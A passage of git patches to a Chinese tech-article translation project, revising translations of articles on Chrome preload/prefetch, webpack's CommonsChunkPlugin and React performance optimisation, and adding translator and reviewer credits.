 <img src="https://cdn-images-1.medium.com/max/2000/1*BxecU2LjN-uGAW_uQgDTdw.png">
 
-**有越来越多的 仿原生 Web App（比如 Twitter.com 移动端， Flipkart 和 Housing）使用它来加载当前链接需要的脚本：**
+**有越来越多的渐进式 Web 应用程序（比如 Twitter.com 移动端， Flipkart 和 Housing）使用它来加载当前链接需要的脚本：**
 
 <img src="https://cdn-images-1.medium.com/max/2000/1*rppoHbaTTJQNVZBO4j_NAQ.png">
 
@@ -223,8 +223,8 @@ FilamentGroup 也有一个作为他们的异步 CSS 加载库 [loadCSS](https://
 
 ### 当前浏览器对 preload 和 prefetch 的支持度？
 
-根据 CanIUse 在 [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/)的调查看，`<link rel=”preload”>` 大约有 [50%](http://caniuse.com/#feat=link-rel-preload) 的支持度，`<link rel=”prefetch”>` 大约有 [70%](http://caniuse.com/#search=prefetch) 的支持度。
-`<link rel=”preload”>` is available to [~50% ](http://caniuse.com/#feat=link-rel-preload)of the global population according to CanIUse and is implemented in the [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/). `<link rel=”prefetch”>` is available to [71%](http://caniuse.com/#search=prefetch) of global users.
+根据 CanIUse 在 [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/)的调查看，`<link rel="preload">` 大约有 [50%](http://caniuse.com/#feat=link-rel-preload) 的支持度，`<link rel="prefetch">` 大约有 [70%](http://caniuse.com/#search=prefetch) 的支持度。
+`<link rel="preload">` is available to [~50% ](http://caniuse.com/#feat=link-rel-preload)of the global population according to CanIUse and is implemented in the [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/). `<link rel="prefetch">` is available to [71%](http://caniuse.com/#search=prefetch) of global users.
 
 ### 更多有用的见解
 

From 3302b6056c0f8ee084f20b98107e4b4d141d1560 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Thu, 6 Apr 2017 23:22:41 +0800
Subject: [PATCH 054/638] =?UTF-8?q?=E6=A0=A1=E8=AF=91=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/preload-prefetch-and-priorities-in-chrome.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/preload-prefetch-and-priorities-in-chrome.md b/TODO/preload-prefetch-and-priorities-in-chrome.md
index 9edc8578eec..150d1401a6a 100644
--- a/TODO/preload-prefetch-and-priorities-in-chrome.md
+++ b/TODO/preload-prefetch-and-priorities-in-chrome.md
@@ -1,8 +1,8 @@
 > * 原文地址：[Preload, Prefetch And Priorities in Chrome](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)
 > * 原文作者：[Addy Osmani](https://medium.com/@addyosmani?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[gy134340](https://github.com/gy134340)
+> * 校对者：[IridescentMia](https://github.com/IridescentMia),[vuuihc](https://github.com/vuuihc)
 
 
 <img src="https://cdn-images-1.medium.com/max/2000/1*W4_tAMHlFs6tunMxbXQjFA.png">

From 9fab41dd39bd7ba8ffe6b1119ca073cde0b6f326 Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Fri, 7 Apr 2017 14:51:18 +0800
Subject: [PATCH 055/638] =?UTF-8?q?=E4=B8=80=E6=A0=A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...bits-getting-the-most-out-of-the-commonschunkplugin.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
index f04614349c5..1d88f590d61 100644
--- a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
+++ b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
@@ -6,7 +6,7 @@
 
 # webpack 拾翠：充分利用 CommonsChunkPlugin() #
 
-隔三差五地，webpack 核心团队总是喜欢在 Twitter 上作一些寓教于乐的[技术分享](https://twitter.com/TheLarkInn/status/842817690951733248)。
+webpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的[技术分享](https://twitter.com/TheLarkInn/status/842817690951733248)。
 
 ![Markdown](http://i4.buimg.com/1949/614a949156a09f9e.png)
 
@@ -67,7 +67,7 @@
 
 ![Markdown](http://i4.buimg.com/1949/34e0c53c6bcbebc0.png)
 
-如你所见，现在所有符合要求的模块都被抽离到一个独立的文件中，因此应用整体上减小了 17%。
+如你所见，现在所有符合要求的模块都被抽离到一个独立的文件中，[Swizec](https://medium.com/@swizec) 指出这个应用程序大小降低了 17%。
 
 ### 案例二：异步 chunks 中的重复 vendors
 
@@ -77,7 +77,7 @@
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*yRCgk_pzDpkMfQGKpCO_HA.jpeg">
 
-异步 chunks 是指那些文件名形如 "[number].[number].js" 的 chunk。
+异步 chunks 是指那些文件名中包含 "[number].[number].js" 的 chunk。
 
 如上图所示，四五十个异步 bundles 都用到了两三个同样的组件，我们该如何利用 `CommonsChunkPlugin` 来解决此问题呢？
 
@@ -158,7 +158,7 @@
 
 上述只是 `CommonsChunkPlugin()` 的部分用例，更多资源请参考我们 webpack/webpack core GitHub 仓库中的 `[/examples](https://github.com/webpack/webpack/tree/master/examples)` [目录](https://github.com/webpack/webpack/tree/master/examples)。如果你还有其他好想法，欢迎 [Pull Request](https://github.com/webpack/webpack/blob/master/CONTRIBUTING.md)！
 
-没时间贡献代码？希望以其他方式做贡献？向[我们的 open collective]()(https://opencollective.com/webpack) 捐款，即刻成为赞助商。Open Collective 不仅为核心团队提供支持，同时也帮助那些在空闲时间为提升我们社区质量而花费了大量宝贵时间的贡献者们！❤
+没时间贡献代码？希望以其他方式做贡献？向[我们的 open collective](https://opencollective.com/webpack) 捐款，即刻成为赞助商。Open Collective 不仅为核心团队提供支持，同时也帮助那些为提升我们社区质量而花费了大量宝贵的空闲时间的贡献者们！❤
 
 ---
 

From 4947dd65520de755fa784a83d0ee8accd7d53009 Mon Sep 17 00:00:00 2001
From: ace <leanne06204@163.com>
Date: Fri, 7 Apr 2017 15:41:53 +0800
Subject: [PATCH 056/638] =?UTF-8?q?update:=20=E6=A0=A1=E5=AF=B9=E6=9B=B4?=
 =?UTF-8?q?=E6=96=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-is-slow-react-is-fast.md | 183 ++++------------------------
 1 file changed, 27 insertions(+), 156 deletions(-)

diff --git a/TODO/react-is-slow-react-is-fast.md b/TODO/react-is-slow-react-is-fast.md
index ec25f17b112..f2c44574c00 100644
--- a/TODO/react-is-slow-react-is-fast.md
+++ b/TODO/react-is-slow-react-is-fast.md
@@ -2,60 +2,37 @@
 > * 原文作者：[François Zaninotto ](https://github.com/francoisz)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)
-> * 校对者：
+> * 校对者：[Wneil](https://github.com/avocadowang), [Chen Lu](https://github.com/1992chenlu)
 
-# React is Slow, React is Fast: Optimizing React Apps in Practice
 # React 的慢与快：优化 React 应用实战
 
-React is slow. I mean, any medium-size React application is slow. But before you start looking for alternatives, you should know that any medium-size Angular of Ember application is slow, too. And the good news is: If you care about performance, it’s fairly easy to make any React application super fast. Here is how.
+React 是慢的。我的意思是，任何中等规模的 React 应用都是慢的。但是在开始找备选方案之前，你应该明白任何中等规模的 Angular 或 Ember 应用也是慢的。好消息是：如果你在乎性能，使 React 应用变得超级快则相当容易。这篇文章就是案例。
 
-React 是慢的。我的意思是，任何中等规模的 React 应用都是慢的。但是在开始找备选方案之前，你应该明白任何中等规模的 Angular 应用也是慢的。好消息是：如果你在乎性能，使 React 应用变得超级快则相当容易。这里就是例子。
-
-## Mesuring React Performance
-
-## 测量 React 性能
-
-What do I mean by “slow”? Let’s take an example.
+## 衡量 React 性能
 
 我说的 “慢” 到底是什么意思？举个例子。
 
-I’m working on an open-source project called [admin-on-rest](https://github.com/marmelab/admin-on-rest), which leverages [material-ui](http://www.material-ui.com/#/) and [Redux](http://redux.js.org/) to provide an admin GUI for any REST API. This application has a datagrid page, displaying a list of records in a table. When the user changes the sort order, or goes to the next page, or filters the result, the interface isn’t as responsive as I would expect. The following screencast shows the refresh slowed down 5 times:
-
-我正在为 [admin-on-rest](https://github.com/marmelab/admin-on-rest) 这个开源项目工作，它使用 [material-ui](http://www.material-ui.com/#/) 和 [Redux](http://redux.js.org/) 为任一 REST API 提供一个 admin 用户图形界面。这个应用已经有一个数据页，在一个表格中展示一系列记录。当用户改变订阅类型，导航到下一个页面，或者做结果删选，这个界面的响应式做的我不够满意。接下来的截屏展示的是放慢 5x 倍速的刷新。
+我正在为 [admin-on-rest](https://github.com/marmelab/admin-on-rest) 这个开源项目工作，它使用 [material-ui](http://www.material-ui.com/#/) 和 [Redux](http://redux.js.org/) 为任一 REST API 提供一个 admin 用户图形界面。这个应用已经有一个数据页，在一个表格中展示一系列记录。当用户改变排列顺序，导航到下一个页面，或者做结果筛选，这个界面的响应式做的我不够满意。接下来的截屏是刷新放慢了 5x 的结果。
 
 ![Datagrid refresh](https://marmelab.com/images/blog/admin-on-rest-slow-sort.gif)
 
-To see what’s happening, I append a `?react_perf` to the URL. This enables [Component Profiling](https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline) since React 15.4. I wait for the initial datagrid to load. Then I open the Chrome Developer Tools on the Timeline tab, hit the “Record” button, and click on a table header to update the sort order. Once the data refreshes, I hit the “Record” button again to stop recording, and Chrome displays a yellow flamegraph with a “User Timing” label.
-
-来看看发生了什么，我在 URL 里插入一个 `?react_perf`。自 React 15.4，可以通过这个属性启用 [组件 Profiling](https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline)。等待初始化数据页加载完毕。在 Timeline 面板打开 Chrome 开发者工具，点击 "Record" 按钮，并单击表头更新命令类型。一旦数据更新，再次点击 "Record" 按钮停止记录，Chrome 会在 "User Timing" 标签下展示一个黄色的火焰图。
+来看看发生了什么，我在 URL 里插入一个 `?react_perf`。自 React 15.4，可以通过这个属性启用 [组件 Profiling](https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline)。等待初始化数据页加载完毕。在 Chrome 开发者工具打开 Timeline 选项卡，点击 "Record" 按钮，并单击表头更新排列顺序。一旦数据更新，再次点击 "Record" 按钮停止记录，Chrome 会在 "User Timing" 标签下展示一个黄色的火焰图。
 
 ![Initial flamegraph](https://marmelab.com/images/blog/initial_flamegraph.png)
 
-If you’ve never seen a flamegraph, it can look intimidating, but it’s actually very easy to use. This “User Timing” graph shows the time passed in each of your components. It hides the time spend inside React internals (you can’t optimize this time anyway), so it lets you focus on optimizing your app. The Timeline displays screenshots of the window at various stages, this lets me zoom in to the moment I clicked on the table header:
-
-如果你从未见过火焰图，看起来会有点吓人，但它确实非常易于使用。这个 "User Timing" 图显示的是每个组件占用的时间。它隐藏了 React 内部花费的时间（这部分时间是你无法优化的），所以这图使你专注优化你的应用。这个 Timeline 显示的是不同阶段的窗口截屏，点击表头的时间，就能聚焦到对应的时间点的情况。
+如果你从未见过火焰图，看起来会有点吓人，但它其实非常易于使用。这个 "User Timing" 图显示的是每个组件占用的时间。它隐藏了 React 内部花费的时间（这部分时间是你无法优化的），所以这图使你专注优化你的应用。这个 Timeline 显示的是不同阶段的窗口截屏，这就能聚焦到点击表头时对应的时间点情况。
 
 ![Initial flamegraph zoomed](https://marmelab.com/images/blog/initial_flamegraph_zoomed.png)
 
-It seems that my app rerenders the `<List>` component just after clicking on the sort button, *before* even fetching the REST data. And this takes more than 500ms. The app just updates the sort icon in the table header, and displays a grey overlay on the datagrid to show that the data is being fetched.
-
 似乎在点击排序按钮后，甚至在拿到 REST 数据 **之前** 就已经重新渲染，我的应用就重新渲染了 `<List>` 组件。这个过程花费了超过 500ms。这个应用仅仅更新了表头的排序 icon，和在数据表之上展示灰色遮罩表明数据仍在传输。
 
-To put it otherwise, the app takes half a second to provide visual feedback to a click. Half a second is definitely perceivable - UI experts say that [users perceive an interface change as instantaneous when it’s below 100ms](https://www.nngroup.com/articles/website-response-times/). A change slower than that is what I mean by “slow”.
-
 另外，这个应用花了半秒钟提供点击的视觉反馈。500ms 绝对是可感知的 - UI 专家如是说，[当视觉层改变低于 100ms 时，用户感知才是瞬时的](https://www.nngroup.com/articles/website-response-times/)。这一可觉察的变更即是我所说的 ”慢“。
 
-## Why Did You Update?
-
 ## 为何而更新？
 
-In the flamegraph above, you can see many tiny pits. That’s not a good sign. It means that many components are rerendered. The flamegraph shows that the `<Datagrid>` update takes the most time. Why did the app rerender the entire datagrid before fetching new data? Let’s dig down.
-
 根据上述火焰图，你会看到许多小的凹陷。那不是一个好标志。这意味着许多组件被重绘了。火焰图显示，`<Datagrid>` 组件更新花费了最多时间。为什么在获取到新数据之前应用会重绘整个数据表呢？让我们来深入探讨。
 
-Understanding the causes of a rerender often implies adding `console.log()` statements in `render()` functions. For functional components, you can use the following one-liner Higher-Order Component (HOC):
-
-要理解重绘的原因，通常要借助在 `render` 函数里添加 `console.log()` 语句。因为函数式的组件，你可以使用如下的单行高阶组件（HOC）:
+要理解重绘的原因，通常要借助在 `render` 函数里添加 `console.log()` 语句完成。因为函数式的组件，你可以使用如下的单行高阶组件（HOC）:
 
 ```
 // in src/log.js
@@ -70,24 +47,14 @@ import log from './log';
 export default log(MyComponent);
 ```
 
-**Tip**: Another React performance tool worth mentioning is [`why-did-you-update`](https://github.com/garbles/why-did-you-update). This npm package patches React to emit console warnings whenever a component rerenders with identical props. Caveats: The output is verbose, and it doesn’t work on functional components.
-
-**小提示**：另一值得一提的 React 性能工具是 [`why-did-you-update`](https://github.com/garbles/why-did-you-update)。这个 npm 包在 React 基础上打了一个补丁，当一个组件基于相同 props 重绘时会打出 console 警告。警告：输出十分冗长，并且在函数式组件中不起作用。
-
-In the example, when the user clicks on a header column, the app emits an action, which changes the state: the list sort order (`currentSort`) is updated. This state change triggers the rerendering of the `<List>` page, which in turn rerenders the entire `<Datagrid>` component. We want the datagrid header to be immediately rendered to show the sort icon change as a feedback to user action.
+**小提示**：另一值得一提的 React 性能工具是 [`why-did-you-update`](https://github.com/garbles/why-did-you-update)。这个 npm 包在 React 基础上打了一个补丁，当一个组件基于相同 props 重绘时会打出 console 警告。说明：输出十分冗长，并且在函数式组件中不起作用。
 
-在这个例子中，当用户点击列的标题，应用触发一个 action 来改变 state：此列的排序 [`currentSort`] 被更新。这个 state 的改变触发了 `<List>` 页的重绘，反过来造成了整个 `<Datagrid>` 组件的重绘。我们希望 datagrid 表头能够在用户行为产生时立即重绘用以展示排序 icon，作为用户行为的反馈。
+在这个例子中，当用户点击列的标题，应用触发一个 action 来改变 state：此列的排序 [`currentSort`] 被更新。这个 state 的改变触发了 `<List>` 页的重绘，反过来造成了整个 `<Datagrid>` 组件的重绘。在点击排序按钮后，我们希望 datagrid 表头能够立刻被重绘，作为用户行为的反馈。
 
-What makes a React app slow is usually not a single slow component (that would translate in the flamegraph as one large pit). **What makes a React app slow is, most of the time, useless rerenders of many components.** You may have read that the React VirtualDom is super fast. That’s true, but in a medium size app, a full redraw can easily render hundreds of components. Even the fastest VirtualDom templating engine can’t make that in less than 16ms.
-
-使得 React 应用迟缓的通常不是单个慢的组件（在火焰图中反映为一个大的区块）。**大多数时候，使 React 应用变慢的是许多组件无用的重绘。** 你也许曾读到，React 虚拟 DOM 超级快的言论。那是真的，但在一个中等规模的应用中，全量重绘容易造成成百上千的组件重绘。甚至最快的虚拟 DOM 模板引擎也不能使这一过程低于 16ms。
-
-## Cutting Components To Optimize Them
+使得 React 应用迟缓的通常不是单个慢的组件（在火焰图中反映为一个大的区块）。**大多数时候，使 React 应用变慢的是许多组件无用的重绘。** 你也许曾读到，React 虚拟 DOM 超级快的言论。那是真的，但在一个中等规模的应用中，全量重绘容易造成成百的组件重绘。甚至最快的虚拟 DOM 模板引擎也不能使这一过程低于 16ms。
 
 ## 切割组件即优化
 
-Here is the `<Datagrid>` component `render()` method:
-
 这是 `<Datagrid>` 组件的 `render()` 方法：
 
 ```
@@ -118,11 +85,7 @@ render() {
 }
 ```
 
-This seems like a very simple implementation of a datagrid, yet it is *very inefficient*. Each `<DatagridCell>` call renders at least two or three components. As you can see in the initial interface screencast, the list has 7 columns, 11 rows, that means 7x11x3 = 231 components rerended. When only the `currentSort` changes, it’s a waste of time. Even though React doesn’t update the real DOM if the rerendered VirtualDom is unchanged, it takes about 500ms to process all the components.
-
-这看起来是一个非常简单的 datagrid 的实现，然而这 **非常低效**。每个 `<DatagridCell>` 调用会渲染至少两到三个组件。正如你在初次界面截图里看到的，这个表有 7 列，11 行，即 7*11*3 = 231 个组件会重新渲染。仅仅是 `currentSort` 的改变时，这简直是浪费时间。即使如果虚拟 DOM 没有更新，React 不更新真实的 DOM时，所有组件的处理也会耗费 500ms。
-
-In order to avoid a useless rendering of the table body, I must first *extract* it:
+这看起来是一个非常简单的 datagrid 的实现，然而这 **非常低效**。每个 `<DatagridCell>` 调用会渲染至少两到三个组件。正如你在初次界面截图里看到的，这个表有 7 列，11 行，即 7x11x3 = 231 个组件会重新渲染。仅仅是 `currentSort` 的改变时，这简直是浪费时间。虽然在虚拟 DOM 没有更新的情况下，React 不会更新真实DOM，所有组件的处理也会耗费 500ms。
 
 为了避免无用的表体渲染，第一步就是把它 **抽取** 出来：
 
@@ -149,9 +112,7 @@ render() {
 }
 ```
 
-I created a new `<DatagridBody>` component by extracting the table body logic:
-
-在抽取表体逻辑之后，我创建了新的 `<DatagridBody>` 组件：
+通过抽取表体逻辑，我创建了新的 `<DatagridBody>` 组件：
 
 ```
 // in DatagridBody.js
@@ -172,24 +133,14 @@ const DatagridBody = ({ resource, ids, data, children }) => (
 export default DatagridBody;
 ```
 
-Extracting the table body has no effect on performance, but it reveals the path to optimization. Large, general purpose components are hard to optimize. Small, single-responsibility components are much easier to deal with.
-
-抽取表体在性能上毫无作用，但它反映了一条优化之路。庞大的，通用的组件优化起来有难度。小的，单一职责的组件更容易处理。
-
-## shouldComponentUpdate
+抽取表体对性能上毫无影响，但它反映了一条优化之路。庞大的，通用的组件优化起来有难度。小的，单一职责的组件更容易处理。
 
 ## shouldComponentUpdate
 
-The [React documentation](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate) is very clear about the way to avoid useless rerenders: `shouldComponentUpdate()`. By default, React *always renders* a component to the virtual DOM. In other terms, it’s your job as a developer to check that the props of a component didn’t change and skip rendering altogether in that case.
-
 [React 文档](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate) 里对于避免无用的重绘有非常明确的方法：`shouldComponentUpdate()`。默认的，React **一直重绘** 组件到虚拟 DOM 中。换句话说，作为开发者，在那种情况下，检查 props 没有改变的组件和跳过绘制都是你的工作。
 
-In the case of the `<DatagridBody>` component above, there should be no rerender of the body unless the props have changed.
-
 以上述 `<DatagridBody>` 组件为例，除非 props 改变，否则 body 就不应该重绘。
 
-So the component should be completed as follows:
-
 所以组件应该如下：
 
 ```
@@ -220,41 +171,23 @@ class DatagridBody extends Component {
 export default DatagridBody;
 ```
 
-**Tip**: Instead of implementing `shouldComponentUpdate()` manually, I could inherit from React’s `PureComponent` instead of `Component`. This would compare all props using strict equality (`===`) and rerender only if *any* of the props change. But I know that `resource` and `children` cannot change in that context, so I don’t need to check for their equality.
-
 **小提示**：相比手工实现 `shouldComponentUpdate()` 方法，我可以继承 React 的 `PureComponent` 而不是 `Component`。这个组件会用严格对等（`===`）对比所有的 props，并且仅当 **任一** props 变更时重绘。但是我知道在例子的上下文中 `resource` 和 `children` 不不会变更，所以无需检查他们的对等性。
 
-With this optimization, the rerendering of the `<Datagrid>` component after clicking on a table header skips the table body and its 231 components entirely. This reduces the update time from 500ms to 60ms. That’s a net performance improvement of more than 400ms!
-
-有了这一优化，点击表头后，`<Datagrid>` 组件的重绘会跳过表体及其全部 231 个组件。这会将 500ms 的更新时间减少到 60ms。网络性能能有超过 400ms！
+有了这一优化，点击表头后，`<Datagrid>` 组件的重绘会跳过表体及其全部 231 个组件。这会将 500ms 的更新时间减少到 60ms。网络性能提高超过 400ms！
 
 ![Optimized flamegraph](https://marmelab.com/images/blog/optimized_flamegraph.png)
 
-**Tip**: Don’t get fooled by the flamegraph width, it’s zoomed even more than the previous flamegraph. This one is definitely better!
-
 **小提示**：别被火焰图的宽度骗了，比前一个火焰图而言，它放大了。这幅火焰图显示的性能绝对是最好的！
 
-The `shouldComponentUpdate` optimization has removed a lot of pits in the graph, and reduced the overall rendering time. I can use the same trick to avoid even more rerenders (e.g. to avoid rendering the sidebar, the action buttons, the table headers that didn’t change, the pagination). After about an hour of work, the entire page renders just 100ms after clicking on a header column. That’s fast enough - even if there is still room for optimization.
-
 `shouldComponentUpdate` 优化在图中去掉了许多凹坑，并减少了整体渲染时间。我会用同样的方法避免更多的重绘（例如：避免重绘 sidebar，操作按钮，没有变化的表头和页码）。一个小时的工作之后， 点击表头的列后，整个页面的渲染时间仅仅是 100ms。那相当快了 - 即使仍然存在优化空间。
 
-Adding a `shouldComponentUpdate` method may seem cumbersome, but if you care about performance, most of the components you write should end up with one.
-
 添加一个 `shouldComponentUpdate` 方法也许似乎很麻烦，但如果你真的在乎性能，你所写的大多数组件都应该加上。
 
-Don’t do it everywhere - executing `shouldComponentUpdate` on simple components is sometimes slower than just rendering the component. Don’t do that too early in the life of an application either - this would be premature optimization. But as your apps grow, and you can detect performance bottlenecks in your components, add `shouldComponentUpdate` logic to remain fast.
-
 别哪里都加上 `shouldComponentUpdate` - 在简单组件上执行 `shouldComponentUpdate` 方法有时比仅渲染组件要耗时。也别在应用的早期使用 - 这将过早地进行优化。但随着应用的壮大，你会发现组件上的性能瓶颈，此时才添加 `shouldComponentUpdate` 逻辑保持快速地运行。
 
-## Recompose
-
 ## 重组
 
-I’m not very happy with the previous change on `<DatagridBody>`: because of `shouldComponentUpdate`, I had to transform a simple, functional component to a class-based component. This adds more lines of code, and every line of code has a cost - to write, to debug, and to maintain.
-
-我不是很满意之前在 `<DatagridBody>` 上的改造：为了使用 `shouldComponentUpdate`，我不得不改造成简单的基于类的函数式组件。这增加了许多行代码，每一行代码都要耗费精力 - 去写，调试和维护。
-
-Fortunately, you can implement the `shouldComponentUpdate` logic in a higher-order component (HOC) thanks to [recompose](https://github.com/acdlite/recompose). It’s a functional utility belt for React, providing for instance the `pure()` HOC:
+我不是很满意之前在 `<DatagridBody>` 上的改造：由于使用了 `shouldComponentUpdate`，我不得不改造成简单的基于类的函数式组件。这增加了许多行代码，每一行代码都要耗费精力 - 去写，调试和维护。
 
 幸运的是，得益于 [recompose](https://github.com/acdlite/recompose)，你能够在高阶组件（HOC）上实现 `shouldComponentUpdate` 的逻辑。它是一个 React 的函数式工具，提供 `pure()` 高阶实例。
 
@@ -278,13 +211,9 @@ const DatagridBody = ({ resource, ids, data, children }) => (
 export default pure(DatagridBody);
 ```
 
-The only difference between this code and the initial implementation is the last line: I export `pure(DatagridBody)` instead of `DatagridBody`. `pure` is like `PureComponent`, but without the extra class boilerplate.
-
 这段代码与上述的初始实现仅有的差异是：我导出了 `pure(DatagridBody)` 而非 `DatagridBody`。`pure` 就像 `PureComponent`，但是没有额外的类模板。
 
-I can even be more specific and target only the props that I know may change, using recompose’s `shouldUpdate()` instead of `pure()`:
-
-我甚至能够更加具体到目标，当我所了解的 props 也许会改变时，使用 recompose 的 `shouldUpdate()` 而不是 `pure()`：
+当使用 `recompose` 的 `shouldUpdate()` 而不是 `pure()` 的时候，我甚至可以更加具体，只瞄准我知道可能改变的 props：
 
 ```
 // in DatagridBody.js
@@ -302,13 +231,9 @@ const checkPropsChange = (props, nextProps) =>
 export default shouldUpdate(checkPropsChange)(DatagridBody);
 ```
 
-The `checkPropsChange` function is pure, and I can even export it for unit tests.
-
-`checkPropsChange` 是春函数，我甚至可以导出做单元测试。
+`checkPropsChange` 是纯函数，我甚至可以导出做单元测试。
 
-The recompose library offers more performance HOCs, like `onlyUpdateForKeys()`, which does exactly the type of check I did in my own `checkPropsChange`:
-
-recompose 库提供了更多 HOC 的性能优化方案，例如 `onlyUpdateForKeys()`，这个方法只会检查我在 `checkPropsChange` 中定义的类型是否改变。
+recompose 库提供了更多 HOC 的性能优化方案，例如 `onlyUpdateForKeys()`，这个方法所做的检查，与我自己写的 `checkPropsChange` 那类检查完全相同。
 
 ```
 // in DatagridBody.js
@@ -322,24 +247,14 @@ const DatagridBody = ({ resource, ids, data, children }) => (
 export default onlyUpdateForKeys(['ids', 'data'])(DatagridBody);
 ```
 
-I warmly recommend recompose. Beyond performance optimization, it helps you extract data fetching logic, HOC composition, and props manipulation in a functional and testable way.
-
-强烈推荐 recompose 库，撇开性能优化不谈，它能帮助你以函数和可测的方式抽取数据获取逻辑，HOC 组合和进行 props 操作。
-
-## Redux
+强烈推荐 recompose 库，除了能优化性能，它能帮助你以函数和可测的方式抽取数据获取逻辑，HOC 组合和进行 props 操作。
 
 ## Redux
 
-If you’re using [Redux](http://redux.js.org/) to manage application state (which I also recommend), then connected components are already pure. No need to add another HOC. Just remember that if only one of the props change, then the connected component rerenders - this includes all its children, too. So even if you use Redux for page components, you should use `pure()` or `shouldUpdate()` for components further down in the render tree.
-
-如果你正在使用 [Redux](http://redux.js.org/) 管理应用 state （我也推荐这一方式），那么 connected 组件已经是纯组件了。不需要添加 HOC。只要记住一旦其中一个 props 改变了，connected 组件就会重绘 - 这也包括了所有子组件。所以甚至当你在页面组件上使用 Redux 时，你也应该在渲染树的深层用 `pure()` 或 `shouldUpdate()`。
-
-Also, beware that Redux does the props comparison using strict equality. Since Redux connects the state to a component’s props, if you mutate an object in the state, Redux props comparison will miss it. That’s why you must use **immutability** in your reducers.
+如果你正在使用 [Redux](http://redux.js.org/) 管理应用的 state （我也推荐这一方式），那么 connected 组件已经是纯组件了。不需要添加 HOC。只要记住一旦其中一个 props 改变了，connected 组件就会重绘 - 这也包括了所有子组件。因此即使你在页面组件上使用 Redux，你也应该在渲染树的深层用 `pure()` 或 `shouldUpdate()`。
 
 并且，当心 Redux 用严格模式对比 props。因为 Redux 将 state 绑定到组件的 props 上，如果你修改 state 上的一个对象，Redux 的 props 对比会错过它。这也是为什么你必须在 reducer 中用 **不可变性原则**
 
-For instance, in admin-on-rest, clicking on a table header dispatches a `SET_SORT` action. The reducer listening to that action must pay attention to *replace* objects in the state, not *update* them:
-
 举个栗子，在 admin-on-rest 中，点击表头 dispatch 一个 `SET_SORT` action。监听这个 action 的 reducer 必须 **替换** state 中的 object，而不是 **更新** 他们。
 
 ```
@@ -382,8 +297,6 @@ export default (previousState = initialState, { type, payload }) => {
 };
 ```
 
-With this reducer, when Redux checks for changes using triple equal, it finds that the state object is different, and rerenders the datagrid. But had we mutated the state, Redux would have missed the state change, and skipped rerendering by mistake:
-
 还是这个 reducer，当 Redux 用 '===' 检查到变化时，它发现 state 对象的不同，然后重绘 datagrid。但是我们修改 state 的话，Redux 将会忽略 state 的改变并错误地跳过重绘：
 
 ```
@@ -410,20 +323,12 @@ export default (previousState = initialState, { type, payload }) => {
 };
 ```
 
-To write immutable reducers, other developers like to use [immutable.js](https://facebook.github.io/immutable-js/), also from Facebook. I find it unnecessary, since ES6 destructuring makes it easy to selectively replace a component properties. Besides, Immutable is heavy (60kB), so think twice before you add it to your project dependencies.
-
 为了不可变的 reducer，其他开发者喜欢用同样来自 Facebook 的 [immutable.js](https://facebook.github.io/immutable-js/)。我觉得这没必要，因为 ES6 解构赋值使得有选择地替换组件属性十分容易。另外，Immutable 也很笨重（60kB），所以在你的项目中添加它之前请三思。
 
-## Reselect
-
 ## 重新选择
 
-To prevent useless renders in (Redux) connected components, you must also make sure that the `mapStateToProps` function doesn’t return new objects each time it is called.
-
 为了防止（Redux 中）无用的绘制 connected 组件，你必须确保 `mapStateToProps` 方法每次调用不会返回新的对象。
 
-Take for instance the `<List>` component in admin-on-rest. It grabs the list of records for the current resource (e.g. posts, comments, etc) from the state using the following code:
-
 以 admin-on-rest 中的 `<List>` 组件为例。它用以下代码从 state 中为当前 resource 获取一系列记录（如：帖子，评论等）：
 
 ```
@@ -450,9 +355,7 @@ const mapStateToProps = (state, props) => {
 export default connect(mapStateToProps)(List);
 ```
 
-The state contains an array of all the previously fetched records, indexed by resource. For instance, `state.admin.posts.data` contains the list of posts:
-
-state 包含了一个数组，是上次获取的记录，以 resource 做索引。举例，`state.admin.posts.data` 包含了一系列帖子：
+state 包含了一个数组，是以前获取的记录，以 resource 做索引。举例，`state.admin.posts.data` 包含了一系列帖子：
 
 ```
 {
@@ -462,8 +365,6 @@ state 包含了一个数组，是上次获取的记录，以 resource 做索引
 }
 ```
 
-The `mapStateToProps` function filters this state object to return only the records actually displayed in the list. Something like:
-
 `mapStateToProps` 方法筛选 state 对象，只返回在 list 中展示的部分。如下所示：
 
 ```
@@ -473,12 +374,8 @@ The `mapStateToProps` function filters this state object to return only the reco
 }
 ```
 
-The problem is that each time `mapStateToProps` runs, it returns a new object, even if the underlying objects didn’t change. As a consequence, the `<List>` component rerenders every time something in the state changes - while id should only change if the date or ids change.
-
